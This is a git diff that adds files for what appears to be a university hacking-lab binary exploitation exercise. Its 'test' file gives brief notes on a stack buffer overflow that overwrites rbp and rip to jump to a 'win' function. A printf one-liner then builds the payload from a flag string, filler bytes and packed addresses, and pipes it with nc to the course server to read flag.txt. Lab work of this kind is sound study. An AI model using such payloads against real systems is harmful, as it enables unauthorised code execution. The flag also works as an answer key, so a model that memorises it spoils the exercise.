diff --git a/4/level2/input.txt b/4/level2/input.txt
new file mode 100644
index 0000000..d7363c8
Binary files /dev/null and b/4/level2/input.txt differ
diff --git a/4/level2/test b/4/level2/test
new file mode 100644
index 0000000..a58b37b
--- /dev/null
+++ b/4/level2/test
@@ -0,0 +1,7 @@
+last key
+32 byte filler
+overwrite rbp with sane address (doesnt need to be specific, just dont segfault bc of memory region)
+overwrite rip with address of win
+
+printf 'hacklab{why_c4n7_y0u_ju57_d0_th3_m4th_eBPiC6YB}\naaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa\x90\xde\xff\xff\xff\x7f\x00\00\x96\x11\x40\00\00\00\00\00\ncat flag.txt\n' > input.txt
+cat input.txt | nc binexp.stud12.hacklab.ias.tu-bs.de 4002